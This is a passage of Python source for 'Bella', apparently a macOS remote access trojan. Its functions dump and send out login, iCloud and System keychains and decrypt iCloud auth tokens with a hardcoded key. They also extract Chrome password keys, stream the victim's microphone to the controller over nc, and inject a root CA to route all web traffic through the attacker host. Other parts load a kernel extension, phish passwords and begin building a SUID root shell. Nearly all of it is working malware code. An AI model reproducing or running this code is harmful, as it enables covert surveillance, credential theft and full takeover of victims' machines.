761 return (e, False, usingToken)
762 else: #means we have neither a token file, or apple creds
763 return ("No token found, no apple credentials found.\n", False, usingToken)
764
765 return (username, password, usingToken)
766
767def iCloud_storage_helper(dsid, authToken):
768 authCode = base64.b64encode("%s:%s" % (dsid, authToken))
769 tokens = tokenFactory(authCode)
770 send_msg('Getting iCloud information.\n', False)
771 try:
772 req = urllib2.Request("https://p04-quota.icloud.com/quotaservice/external/mac/%s/storageUsageDetails" % dsid) #this will have all tokens
773 req.add_header('Authorization', 'Basic %s' % authCode)
774 req.add_header('Content-Type', 'application/json')
775 resp = urllib2.urlopen(req)
776 storageData = resp.read()
777 except Exception as e:
778 send_msg("Slight error [%s]" % e, False)
779 resp_dict = json.loads(storageData)
780
781 for x in tokens[1]: #tokens[1] is the account information of the user
782 send_msg("%s\n\n" % x, False)
783
784 try:
785 for x in resp_dict["photo"]:
786 if x["libraryEnabled"]:
787 send_msg(underline + "iCloud Photo Library: Enabled" + endANSI + "\n", False)
788 send_msg("\tPhoto Count: %s\n" % x["photoCount"], False)
789 send_msg("\tVideo Count: %s\n" % x["videoCount"], False)
790 send_msg("\tiCloud Photo Library Size: %s.%s GB\n" % (str(x["storageUsedInBytes"])[0], str(x["storageUsedInBytes"])[1:4]), False)
791 else:
792 send_msg(underline + "iCloud Photo Library: Disabled" + endANSI + "\n", False)
793 except:
794 send_msg("iCloud Photo Library: Disabled\n", False)
795
796 i = 0
797 try:
798 z = resp_dict["backups"]
799 if len(z) == 0:
800 send_msg("\n%sNo iCloud Backups found%s\n\n" % (underline, endANSI), False)
801 else:
802 send_msg("%siCloud Backups:%s\n" % (underline, endANSI), False)
803 for x in resp_dict["backups"]:
804 i += 1
805 #make a little dictionary to get the pretty name of the device.
806 productTypes = {'iPhone3,1': 'iPhone 4 (GSM)', 'iPhone3,2': 'iPhone 4 (CDMA)', 'iPhone4,1': 'iPhone 4s', 'iPhone5,1': 'iPhone 5 (GSM)', 'iPhone5,2': 'iPhone 5 (CDMA)', 'iPhone5,3': 'iPhone 5c', 'iPhone6,2': 'iPhone 5s (UK)', 'iPhone7,1': 'iPhone 6 Plus', 'iPhone8,1': 'iPhone 6s', 'iPhone8,2': 'iPhone 6s Plus', 'iPhone6,1': 'iPhone 5s', 'iPhone7,2': 'iPhone 6'}
807 try:
808 iPhone_type = productTypes[x["productType"]]
809 except:
810 iPhone_type = x["productType"]
811 send_msg("\t[%s] %s %s | Size is %s.%s GB | Model: %s\n" % (i, x["name"], x["lastModifiedLocalized"], str(x["storageUsedInBytes"])[0], str(x["storageUsedInBytes"])[1:4], iPhone_type), False)
812 except Exception, e:
813 send_msg("Error checking backups.\n%s\n" % str(e), False)
814
815 if len(tokens[0]) > 1:
816 send_msg("%sTokens!%s\n" % (underline, endANSI), False)
817 send_msg("\tMMeAuth: %s%s%s\n" % (blue, tokens[0][0], endANSI), False)
818 send_msg("\tCloud Kit: %s%s%s\n" % (red, tokens[0][1], endANSI), False)
819 send_msg("\tFMF App: %s%s%s\n" % (yellow, tokens[0][2], endANSI), False)
820 send_msg("\tFMiP: %s%s%s\n" % (green, tokens[0][3], endANSI), False)
821 send_msg("\tFMF: %s%s%s\n" % (violet, tokens[0][4], endANSI), False)
822 send_msg('', True)
823 return
824
825def insomnia_load():
826 if "book" in get_model().lower():
827 if is_there_SUID_shell():
828 gen = payload_generator(readDB('insomnia', True)) #will return b64 zip
829 payload_tmp_path = '/'.join(gen.split('/')[:-1])
830 do_root('unzip %s -d %s' % (gen, payload_tmp_path))
831 (success, msg) = do_root("chown -R 0:0 %s/Insomnia.kext/" % payload_tmp_path)
832 if not success:
833 return "%sError changing kext ownership to root.\n%s" % (red_minus, msg)
834 (success, msg) = do_root("kextload %s/Insomnia.kext/" % payload_tmp_path)
835 if not success:
836 return "%sError loading kext.\n%s" % (red_minus, msg)
837 return "%sInsomnia successfully loaded.\n" % greenPlus
838 return "%sYou need a root shell to load Insomnia.\n" % red_minus
839 else:
840 return "%sInsomnia does not work on non-MacBooks.\n" % blue_star
841
842def insomnia_unload():
843 if "book" in get_model() or "Book" in get_model():
844 if is_there_SUID_shell():
845 (success, msg) = do_root("kextunload -b net.semaja2.kext.insomnia")
846 if not success:
847 return "%sError unloading kext.\n%s" % (red_minus, msg)
848 return "%sInsomnia successfully unloaded.\n" % greenPlus
849 return "%sYou need a root shell to load Insomnia.\n" % red_minus
850 else:
851 return "%sInsomnia does not work on non-MacBooks.\n" % blue_star
852
853def resetUIDandName(): #if we are root we want to update the variable accordingly
854 global bella_user, helper_location, bella_UID
855 if os.getuid() == 0:
856 bella_user = cur_GUI_user()
857 bella_UID = pwd.getpwnam(bella_user).pw_uid
858 helper_location = '/'.join(os.path.abspath(__file__).split('/')[:-1]) + '/'
859 return
860
861def initialize_socket():
862 basicInfo = ''
863 resetUIDandName()
864 os.chdir(os.path.expanduser('~'))
865
866 if not check_if_payloads():
867
868 return 'payload_request_SBJ129' #request our payloads
869
870 if readDB('lastLogin') == False: #if it hasnt been set
871 updateDB('Never', 'lastLogin')
872
873 if not isinstance(get_model(), str): #if no model, put it in
874 output = check_output("sysctl hw.model")
875 if output[0]:
876 modelRaw = output[1].split(":")[1].replace("\n", "").replace(" ", "")
877 output = check_output("/usr/libexec/PlistBuddy -c 'Print :\"%s\"' /System/Library/PrivateFrameworks/ServerInformation.framework/Versions/A/Resources/English.lproj/SIMachineAttributes.plist | grep marketingModel" % modelRaw)
878 if not output[0]:
879 model = 'Macintosh'
880 else:
881 model = output[1].split("=")[1][1:] #get everything after equal sign, and then remove first space.
882 updateDB(model, 'model')
883
884 if os.getuid() == 0:
885 basicInfo = 'ROOTED\n'
886
887 output = check_output('scutil --get LocalHostName; echo %s; pwd; echo %s' % (get_bella_user(), readDB('lastLogin')))
888 if output[0]:
889 basicInfo += output[1]
890 else:
891 return check_output("echo 'bareNeccesities'; scutil --get LocalHostName; whoami; pwd")[1]
892
893 output = check_output('ps -p %s -o etime=' % bellaPID)
894 if output[0]:
895 basicInfo += output[1]
896 else:
897 return check_output("echo 'bareNeccesities'; scutil --get LocalHostName; whoami; pwd")[1]
898
899 updateDB(time.strftime("%a, %b %e %Y at %I:%M:%S %p"), 'lastLogin')
900 return basicInfo
901
902def iTunes_backup_looker():
903 backupPath = globber("/Users/*/Library/Application Support/MobileSync/Backup/*/Info.plist")
904 if len(backupPath) > 0:
905 backups = True
906 returnable = "%sLooking for backups! %s\n" % (blue_star, blue_star)
907 for z, y in enumerate(backupPath):
908 returnable += "\n----- Device " + str(z + 1) + " -----\n\n"
909 returnable += "Product Name: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Product Name\"' '%s'" % y).read().replace("\n", "")
910 returnable += "Product Version: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Product Version\"' '%s'" % y).read().replace("\n", "")
911 returnable += "Last Backup Date: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Last Backup Date\"' '%s'" % y).read().replace("\n", "")
912 returnable += "Device Name: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Device Name\"' '%s'" % y).read().replace("\n", "")
913 returnable += "Phone Number: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Phone Number\"' '%s'" % y).read().replace("\n", "")
914 returnable += "Serial Number: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Serial Number\"' '%s'" % y).read().replace("\n", "")
915 returnable += "IMEI/MEID: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"IMEI\"' '%s'" % y).read().replace("\n", "")
916 returnable += "UDID: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Target Identifier\"' '%s'" % y).read().replace("\n", "")
917 returnable += "iTunes Version: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"iTunes Version\"' '%s'" % y).read().replace("\n", "")
918 #iTunesBackupString += "Installed Apps: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Installed Applications\"' '%s'" % y).read().replace("\n", "")
919 else:
920 backups = False
921 returnable = "%sNo local backups found %s\n" % (blue_star, blue_star)
922 return (returnable, backups, len(backupPath))
923
924def kill_pid(pid):
925 try:
926 os.kill(pid, 9)
927 return True
928 except OSError, e:
929 return False
930
931def keychain_download():
932 try:
933 returnVal = []
934 for x in globber("/Users/*/Library/Keychains/login.keychain*"):
935 #with open(x, 'rb') as content:
936 content = protected_file_reader(x) #will return us permission acceptable file info
937 user = x.split("/")[2]
938 returnVal.append(pickle.dumps(['%s_login.keychain' % user, content]))
939
940 for iCloudKey in globber("/Users/*/Library/Keychains/*/keychain-2.db"):
941 iCloudZip = StringIO.StringIO()
942 joiner = '/'.join(iCloudKey.split("/")[:-1])
943 for files in protected_file_lister(joiner):
944 with zipfile.ZipFile(iCloudZip, mode='a', compression=zipfile.ZIP_DEFLATED) as zipped:
945 subFile = os.path.join(joiner, files)
946 content = protected_file_reader(subFile)
947 zipped.writestr(files, content)
948 with zipfile.ZipFile(iCloudZip, mode='a', compression=zipfile.ZIP_DEFLATED) as zipped:
949 zipped.writestr(joiner.split("/")[-1], 'Keychain UUID')
950 returnVal.append(pickle.dumps(["%s_iCloudKeychain.zip" % iCloudKey.split("/")[2], iCloudZip.getvalue()]))
951 if is_there_SUID_shell():
952 keys = protected_file_reader("/Library/Keychains/System.keychain")
953 returnVal.append(pickle.dumps(["System.keychain", keys]))
954 return 'keychain_download' + pickle.dumps(returnVal)
955 except Exception, e:
956 return (red_minus + "Error reading keychains.\n%s\n") % str(e)
957
958def manual():
959 value = "\n%sChat History%s\nDownload the user's macOS iMessage database.\nUsage: %schat_history%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
960 value += "\n%sCheck Backups%s\nEnumerate the user's local iOS backups.\nUsage: %scheck_backups%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
961 value += "\n%sChrome Dump%s\nDecrypt user passwords stored in Google Chrome profiles.\nUsage: %schrome_dump%s\nRequirements: Chrome SS Key [see chrome_safe_storage]\n" % (underline + bold + green, endANSI, bold, endANSI)
962 value += "\n%sChrome Safe Storage%s\nPrompt the keychain to present the user's Chrome Safe Storage Key.\nUsage: %schrome_safe_storage%s\nRequirements: None\n" % (underline + bold + green, endANSI, bold, endANSI)
963 value += "\n%sCurrent Users%s\nFind all currently logged in users.\nUsage: %scurrentUsers%s\nRequirements: None\n" % (underline + bold + yellow, endANSI, bold, endANSI)
964 value += "\n%sGet Root%s\nAttempt to escalate Bella to root through a variety of attack vectors.\nUsage: %sget_root%s\nRequirements: None\n" % (underline + bold + red, endANSI, bold, endANSI)
965 value += "\n%sFind my iPhone%s\nLocate all devices on the user's iCloud account.\nUsage: %siCloud_FMIP%s\nRequirements: iCloud Password [see iCloud_phish]\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
966 value += "\n%sFind my Friends%s\nLocate all shared devices on the user's iCloud account.\nUsage: %siCloud_FMF%s\nRequirements: iCloud Token or iCloud Password\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
967 value += "\n%siCloud Contacts%s\nGet contacts from the user's iCloud account.\nUsage: %siCloud_contacts%s\nRequirements: iCloud Token or iCloud Password\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
968 value += "\n%siCloud Password Phish%s\nTrick user into verifying their iCloud password through iTunes prompt.\nUsage: %siCloudPhish%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
969 value += "\n%siCloud Query%s\nGet information about the user's iCloud account.\nUsage: %siCloud_query%s\nRequirements: iCloud Token or iCloud Password\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
970 value += "\n%siCloud Token%s\nPrompt the keychain to present the User's iCloud Authorization Token.\nUsage: %siCloud_token%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
971 value += "\n%sInsomnia Load%s\nLoads an InsomniaX Kext to prevent laptop from sleeping, even when closed.\nUsage: %sinsomnia_load%s\nRequirements: root, laptops only\n" % (underline + bold + yellow, endANSI, bold, endANSI)
972 value += "\n%sInsomnia Unload%s\nUnloads an InsomniaX Kext loaded through insomnia_load.\nUsage: %sinsomnia_unload%s\nRequirements: root, laptops only\n" % (underline + bold + yellow, endANSI, bold, endANSI)
973 value += "\n%sBella Info%s\nExtensively details information about the user and information from the Bella instance.\nUsage: %sbella_info%s\nRequirements: None\n" % (underline + bold + yellow, endANSI, bold, endANSI)
974 value += "\n%sKeychain Download%s\nDownloads all available Keychains, including iCloud, for offline processing.\nUsage: %skeychain_download%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
975 value += "\n%sMike Stream%s\nStreams the microphone input over a socket.\nUsage: %smike_stream%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
976 value += "\n%sMITM Start%s\nInjects a Root CA into the System Roots Keychain and redirects all traffic to the CC.\nUsage: %smitm_start%s\nRequirements: root.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
977 value += "\n%sMITM Kill%s\nEnds a MITM session started by MITM start.\nUsage: %smitm_kill%s\nRequirements: root.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
978 value += "\n%sReboot Server%s\nRestarts a Bella instance.\nUsage: %sreboot_server%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
979 value += "\n%sSafari History%s\nDownloads user's Safari history in a nice format.\nUsage: %ssafari_history%s\nRequirements: None.\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
980 value += "\n%sScreenshot%s\nTake a screen shot of the current active desktop.\nUsage: %sscreen_shot%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
981 value += "\n%sShutdown Server%s\nUnloads Bella from launchctl until next reboot.\nUsage: %sshutdown_server%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
982 value += "\n%sSystem Information%s\nReturns basic information about the system.\nUsage: %ssysinfo%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
983 value += "\n%sUser Pass Phish%s\nWill phish the user for their password with a clever dialog.\nUsage: %suser_pass_phish%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
984 #value += "\n%sInteractive Shell%s\nLoads an interactive reverse shell (bash) to the remote machine.\nUsage: %sinteractiveShell%s\n" % (underline + bold, endANSI, bold, endANSI)
985 #value += "\n%sKey Start%s\nBegin keylogging in the background.\nUsage: %skeyStart%s (requires root)\n" % (underline + bold, endANSI, bold, endANSI)
986 #value += "\n%sKey Kill%s\nStop keylogging started through Key Start\nUsage: %skeyStart%s (requires root)\n" % (underline + bold, endANSI, bold, endANSI)
987 #value += "\n%sKey Read%s\nReads the encrypted key log file from Key Start.\nUsage: %skeyRead%s (requires root)\n" % (underline + bold, endANSI, bold, endANSI)
988 return value
989
990def mike_helper(payload_path):
991 stream_port = 2897
992 send_msg('%sOpening microphone.\n' % blue_star, False)
993 pipe = subprocess.Popen('%s' % payload_path, stdout=subprocess.PIPE)
994 subprocess_manager(pipe.pid, '/'.join(payload_path.split('/')[:-1]), 'Microphone') #keep track of mikepipe since it never closes, as well as payload path
995 send_msg('%sOpened microphone [%s].\n' % (blue_star, pipe.pid), False)
996 send_msg('%sOpening Stream.\n' % blue_star, False)
997 stream = subprocess.Popen(('nc %s %s' % (host, stream_port)).split(), stdin=pipe.stdout, stdout=subprocess.PIPE)
998 time.sleep(2) #give a few seconds to terminate if not running ...
999 #stream.poll will be the exit code if it has exited, otherwise it will be None (so, None if we are connected)
1000 if stream.poll(): #if None, we are connected, see Else. If an integer, we have crashed.
1001 send_msg('%sListener could not be reached. Closing microphone.\n' % red_minus, False)
1002 if kill_pid(pipe.pid):
1003 send_msg('%sClosed microphone.\n' % blue_star, True)
1004 else:
1005 send_msg('%sError closing microphone with PID [%s].\n' % (red_minus, pipe.pid), True)
1006 else:
1007 send_msg('%sListener connected, microphone streaming.\n' % greenPlus, True)
1008 return 0
1009
1010def mitm_kill(interface, certsha1):
1011 if not is_there_SUID_shell():
1012 return "%sYou must have a root shell to stop MITM. See rooter.\n" % red_minus
1013
1014 x = check_output("networksetup -getsecurewebproxy %s" % interface)
1015 if not x[0]:
1016 if x[2] == 8:
1017 send_msg("%sThe interface [%s] does not exist." % (red_minus, interface), True)
1018 send_msg(x[1], True)
1019 if "Enabled: No" in x[1]:
1020 send_msg("%s\033[4mAlready disabled!\033[0m %s\n%s" % (yellow_star, yellow_star, x[1]), True)
1021 return
1022
1023 cert = cert_remove(certsha1)
1024 if 'Error' in cert:
1025 send_msg('ERROR REMOVING CERTIFICATE FROM KEYCHAIN. YOU SHOULD PERFORM MANUALLY.\n', False)
1026 send_msg(cert, False)
1027
1028 (success, msg) = do_root("networksetup -setwebproxy %s '' 0" % interface)
1029 if not success:
1030 send_msg("%sSetting [%s] HTTP proxy to null failed!\n" % (red_minus, interface), False)
1031 else:
1032 send_msg("%sSet [%s] HTTP proxy to null.\n" % (greenPlus, interface), False)
1033
1034 (success, msg) = do_root("networksetup -setsecurewebproxy %s '' 0" % interface)
1035 if not success:
1036 send_msg("%sSetting [%s] HTTPS proxy to null failed!\n" % (red_minus, interface), False)
1037 else:
1038 send_msg("%sSet [%s] HTTPS proxy to null.\n" % (greenPlus, interface), False)
1039
1040 (success, msg) = do_root("networksetup -setwebproxystate %s off" % interface)
1041 if not success:
1042 send_msg("%sFailed to turn off [%s] HTTP proxy!\n" % (red_minus, interface), False)
1043 else:
1044 send_msg("%sTurned off [%s] HTTP proxy.\n" % (greenPlus, interface), False)
1045
1046 (success, msg) = do_root("networksetup -setsecurewebproxystate %s off" % interface)
1047 if not success:
1048 send_msg("%sFailed to turn off [%s] HTTP proxy!\n" % (red_minus, interface), False)
1049 else:
1050 send_msg("%sTurned off [%s] HTTP proxy.\n" % (greenPlus, interface), False)
1051
1052 send_msg('', True)
1053 return 1
1054
1055def mitm_start(interface, cert):
1056 if not is_there_SUID_shell():
1057 return "%sYou must have a root shell to start MITM. See rooter.\n" % red_minus
1058
1059 x = check_output("networksetup -getsecurewebproxy %s" % interface)
1060 if not x[0]:
1061 if x[2] == 8:
1062 send_msg("%sThe interface [%s] does not exist." % (red_minus, interface), True)
1063 send_msg(x[1], True)
1064 if "Enabled: Yes" in x[1]:
1065 send_msg("%s\033[4mAlready enabled!\033[0m %s\n%s" % (yellow_star, yellow_star, x[1]), True)
1066 send_msg('', True)
1067 return
1068
1069 cert = cert_inject(cert)
1070 if 'Error' in cert:
1071 send_msg(cert, True)
1072 send_msg('', True)
1073 return
1074 send_msg(cert, False)
1075
1076 (success, msg) = do_root("networksetup -setwebproxy %s %s 8081" % (interface, host))
1077 if not success:
1078 send_msg("%sRedirecting [%s] HTTP (80) to [%s:8081] failed!\n" % (red_minus, interface, host), True)
1079 send_msg("%sRedirecting [%s] HTTP (80) to [%s:8081].\n" % (greenPlus, interface, host), False)
1080
1081 (success, msg) = do_root("networksetup -setsecurewebproxy %s %s 8081" % (interface, host))
1082 if not success:
1083 send_msg("%sRedirecting [%s] HTTPS (443) to [%s:8081] failed!\n" % (red_minus, interface, host), True)
1084 send_msg("%sRedirecting [%s] HTTP (443) to [%s:8081].\n" % (greenPlus, interface, host), False)
1085 send_msg("mitmReady", True)
1086 return
1087
1088def payload_generator(data):
1089 dirpath = tempfile.mkdtemp()
1090 with open("%s/americangirl" % dirpath, "wb") as content:
1091 content.write(data.decode('base64'))
1092 os.chmod("%s/americangirl" % dirpath, 0777) #set rw execute bits to 7 for ugw
1093 temp_file_list.append(dirpath)
1094 return '%s/americangirl' % dirpath
1095
1096def payload_cleaner():
1097 for x in temp_file_list:
1098 try:
1099 shutil.rmtree(x)
1100 #print 'Removed %s' % x
1101 temp_file_list.remove(x)
1102 except OSError as e:
1103 pass
1104
1105 return
1106
1107def chainbreaker(kcpath, key, service):
1108 kcbreaker = readDB('chainbreaker', True)
1109 if not kcbreaker:
1110 return ("%sError reading chainbreaker from DB.\n" % red_minus, False)
1111 path = payload_generator(kcbreaker)
1112 try:
1113 value = (subprocess.check_output("%s -f '%s' -k '%s' -s '%s'" % (path, kcpath, key, service), shell=True).replace('\n', ''), True)
1114 if '[!] ERROR: ' in value[0]:
1115 return ("%sError decrypting %s with master key.\n\t%s" % (red_minus, service, value[0]), False)
1116
1117 if value[0] == '':
1118 return ("No KC entry for %s." % service, False)
1119
1120 return value
1121 except Exception as e:
1122 return ("%sError decrypting %s with master key.\n\t%s" % (red_minus, service, e), False)
1123
1124def kciCloudHelper(iCloudKey):
1125 #this function is tailored to keychaindump. Takes an iCloud key, and returns tokens
1126 msg = base64.b64decode(iCloudKey)
1127 key = "t9s\"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}"
1128 hashed = hmac.new(key, msg, digestmod=hashlib.md5).digest()
1129 hexedKey = binascii.hexlify(hashed)
1130 IV = 16 * '0'
1131 mme_token_file = glob("/Users/%s/Library/Application Support/iCloud/Accounts/*" % get_bella_user()) #this doesnt need to be globber bc only current user's info can be decrypted
1132 for x in mme_token_file:
1133 try:
1134 int(x.split("/")[-1])
1135 mme_token_file = x
1136 except ValueError:
1137 continue
1138 send_msg("\t%sDecrypting token plist\n\t [%s]\n" % (blue_star, mme_token_file), False)
1139 decryptedBinary = subprocess.check_output("openssl enc -d -aes-128-cbc -iv '%s' -K %s < '%s'" % (IV, hexedKey, mme_token_file), shell=True)
1140 from Foundation import NSData, NSPropertyListSerialization
1141 binToPlist = NSData.dataWithBytes_length_(decryptedBinary, len(decryptedBinary))
1142 token_plist = NSPropertyListSerialization.propertyListWithData_options_format_error_(binToPlist, 0, None, None)[0]
1143 tokz = "[%s | %s]\n" % (token_plist["appleAccountInfo"]["primaryEmail"], token_plist["appleAccountInfo"]["fullName"])
1144 tokz += "%s:%s\n" % (token_plist["appleAccountInfo"]["dsPrsID"], token_plist["tokens"]["mmeAuthToken"])
1145 return tokz
1146
1147def getKeychains():
1148 send_msg("%sFound the following keychains for [%s]:\n" % (yellow_star, get_bella_user()), False)
1149 kchains = glob("/Users/%s/Library/Keychains/login.keychain*" % get_bella_user())
1150 for x in kchains:
1151 send_msg("\t[%s]\n" % x, False)
1152 if len(kchains) == 0:
1153 send_msg("%sNo Keychains found for [%s].\n" % (yellow_star, get_bella_user()), True)
1154 return
1155 kchain = kchains[-1]
1156 for x in kchains:
1157 if x.endswith('-db'):
1158 kchain = x
1159 return kchain
1160
1161def bella_info():
1162 mainString = ""
1163 send_msg("%sGathering system information.\n" % yellow_star, False)
1164 systemVersion = str(platform.mac_ver()[0])
1165 send_msg("%sSystem version is %s.\n" % (blue_star, systemVersion), False)
1166 send_msg("%sShell location: [%s].\n" % (blue_star, get_bella_path()), False)
1167 send_msg(blue_star + get_model(), False)
1168 try:
1169 battery = subprocess.check_output("pmset -g batt", shell=True).decode('utf-8', 'replace').split('\t')[1].split(";")
1170 charging = battery[1].replace(" ", "")
1171 percentage = battery[0]
1172 if charging == "charging":
1173 send_msg("%sBattery: %s [Charging]\n" % (blue_star, percentage), False)
1174 else:
1175 send_msg("%sBattery: %s [Discharging]\n" % (blue_star, percentage), False)
1176 except:
1177 pass
1178
1179 if not systemVersion.startswith("10.12"):
1180 if systemVersion == "10.11.1" or systemVersion == "10.11.2" or systemVersion == "10.11.3" or not systemVersion.startswith("10.11"):
1181 if is_there_SUID_shell(): #normal user.
1182 send_msg("%sHave root access via SUID shell. [use get_root to escalate]\n" % greenPlus, False)
1183 else:
1184 send_msg("%sPrivilege escalation is possible!\n" % blue_star, False) #LPA possible, no need to display sudoers access info.. right?
1185 else:
1186 if os.getuid() == 0:
1187 send_msg("%sBella is running as root.\n" % greenPlus, False)
1188 elif is_there_SUID_shell():
1189 send_msg("%sHave root access via SUID shell. [use get_root to escalate]\n" % greenPlus, False)
1190 else:
1191 send_msg("%sNo root access via SUID shell.\n" % red_minus, False)
1192
1193 filevault = check_output("fdesetup status")
1194 if filevault[0]:
1195 if "On" in filevault[1]:
1196 send_msg(red_minus + filevault[1], False)
1197 else:
1198 send_msg(greenPlus + filevault[1], False)
1199
1200 if systemVersion.startswith("10.11") or systemVersion.startswith("10.12"):
1201 csrutil = subprocess.Popen(["csrutil status"], stdout=subprocess.PIPE, shell=True)
1202 (out, err) = csrutil.communicate()
1203 if "disabled" in out:
1204 send_msg(greenPlus + out, False)
1205 sipEnabled = False #SIP function exists, but is specifically and intentionally disabled! (enterprise environments likely have this config)
1206 if "enabled" in out:
1207 send_msg(red_minus + out, False)
1208 sipEnabled = True
1209 else:
1210 sipEnabled = False
1211
1212 if not sipEnabled: #sipDisabled allows us to check like .1% of cases where user is on El Cap and has opted out of SIP
1213 if is_there_SUID_shell():
1214 kcpayload = readDB('keychaindump', True)
1215 if not kcpayload:
1216 send_msg("%sError reading KCDump payload from Bella Database.\n" % red_minus, False)
1217 else:
1218 kcpath = payload_generator(kcpayload)
1219 kchain = getKeychains()
1220 (success, msg) = do_root("%s '%s' | grep 'Found master key:'" % (kcpath, kchain)) # ??? Why doesnt this work for tim?
1221 if success:
1222 send_msg(" Login keychain master key found for [%s]:\n\t[%s]\n" % (kchain.split("/")[-1], msg.replace("[+] Found master key: ", "").replace("\n", "")), False)
1223 if not readDB('mme_token'):
1224 send_msg("\t%sAttempting to generate iCloud Auth Keys.\n" % blue_star, False)
1225 iCloud = chainbreaker(kchain, msg.replace("[+] Found master key: ", "").replace("\n", ""), 'iCloud')
1226 send_msg("\t%siCloud:\n\t [%s]\n" % (yellow_star, iCloud[0]), False)
1227 if iCloud[1]:
1228 send_msg("\t%sGot iCloud Key! Decrypting plist.\n" % yellow_star, False)
1229 decrypted = kciCloudHelper(iCloud[0])
1230 if not decrypted:
1231 send_msg("\t%sError getting decrypted MMeAuthTokens with this key.\n" % red_minus, False)
1232 else:
1233 send_msg("\t%sDecrypted. Updating Bella database.\n" % blue_star, False)
1234 updateDB(encrypt(decrypted), 'mme_token')
1235 send_msg("\t%sUpdated DB.\n\t --------------\n" % greenPlus, False)
1236 if not readDB('chromeSS'):
1237 send_msg("\t%sAttempting to generate Chrome Safe Storage Keys.\n" % blue_star, False)
1238 chrome = chainbreaker(kchain, msg.replace("[+] Found master key: ", "").replace("\n", ""), 'Chrome Safe Storage')
1239 send_msg("\t%sChrome:\n\t [%s]\n" % (yellow_star, chrome[0]), False)
1240 if chrome[1]:
1241 send_msg("\t%sGot Chrome Key! Updating Bella DB.\n" % yellow_star, False)
1242 updateDB(encrypt(chrome[0]), 'chromeSS')
1243 send_msg("\t%sUpdated DB.\n" % greenPlus, False)
1244 else:
1245 send_msg("%sError finding %slogin%s master key for user [%s].\n\t%s\n" % (red_minus, bold, endANSI, get_bella_user(), msg), False)
1246 (success, msg) = do_root("%s '/Library/Keychains/System.keychain' | grep 'Found master key:'" % kcpath)
1247 if success:
1248 msg = msg.replace("[+] Found master key: ", "").replace("\n", "")
1249 if msg != '':
1250 send_msg("%sSystem keychain master key found:\n [%s]\n" % (greenPlus, msg), False)
1251 else:
1252 send_msg("%sCould not find %sSystem%s master key.\n" % (red_minus, bold, endANSI), False)
1253 payload_cleaner()
1254
1255 iTunesSearch = get_iTunes_accounts()
1256
1257 for x in iTunesSearch:
1258 if x[0]:
1259 send_msg("%siCloud account present [%s:%s]\n" % (greenPlus, x[2], x[1]), False)
1260 else:
1261 send_msg(red_minus + x[1], False)
1262
1263 iOSbackups = iTunes_backup_looker()
1264
1265 if iOSbackups[1]:
1266 send_msg("%siOS backups are present and ready to be processed. [%s]\n" % (greenPlus, iOSbackups[2]), False)
1267 else:
1268 send_msg("%sNo iOS backups are present.\n" % red_minus, False)
1269
1270 if os.access('/var/db/lockdown', os.X_OK): #if we can execute this path
1271 send_msg("%siOS lockdown files are present. [%s]\n" % (greenPlus, len(os.listdir("/var/db/lockdown")) - 1), False)
1272
1273 checkToken = tokenRead()
1274 if isinstance(checkToken, str):
1275 send_msg("%siCloud AuthToken: %s\n\t[%s]\n" % (yellow_star, checkToken.split('\n')[0], checkToken.split('\n')[1]), False)
1276
1277 checkChrome = chromeSSRead()
1278 if isinstance(checkChrome, str):
1279 send_msg("%sGoogle Chrome Safe Storage Key: \n\t[%s]\n" % (yellow_star, checkChrome), False)
1280
1281 checkLP = local_pw_read()
1282 if isinstance(checkLP, str):
1283 send_msg("%s%s's local account password is available.\n" % (yellow_star, checkLP.split(':')[0]), False) #get username
1284
1285 checkAP = applepwRead()
1286 if isinstance(checkAP, str):
1287 send_msg("%s%s's iCloud account password is available.\n" % (yellow_star, checkAP.split(':')[0]), False)
1288 send_msg('', True)
1289 return 1
1290
1291def recv_msg(sock):
1292 raw_msglen = recvaux(sock, 4, True) #get first four bytes of message, will be enough to represent length.
1293 if not raw_msglen:
1294 return None
1295 msglen = struct.unpack('>I', raw_msglen)[0] #convert this length into
1296 return recvaux(sock, msglen, False)
1297
1298def recvaux(sock, n, length):
1299 if length:
1300 return sock.recv(4) # send over first 4 bytes of socket ....
1301 data = ''
1302 while len(data) < n:
1303 packet = sock.recv(n - len(data))
1304 if not packet:
1305 return None
1306 data += packet
1307 return pickle.loads(data) #convert from serialized into normal.
1308
1309def make_SUID_root_binary(password, LPEpath):
1310 root_shell = readDB("root_shell", True)
1311 with open("/usr/local/roots", "w") as content:
1312 content.write(root_shell.decode('base64'))
1313 if not LPEpath: #use password
1314 (username, password) = password.split(':')
1315 try:
1316 subprocess.check_output("echo %s | sudo -S ls" % password, shell=True) #this will return no error if successfull
1317 except Exception as e:
1318 return (False, "%sUser's local password does not give us sudo access!\n" % red_minus)
1319 try:
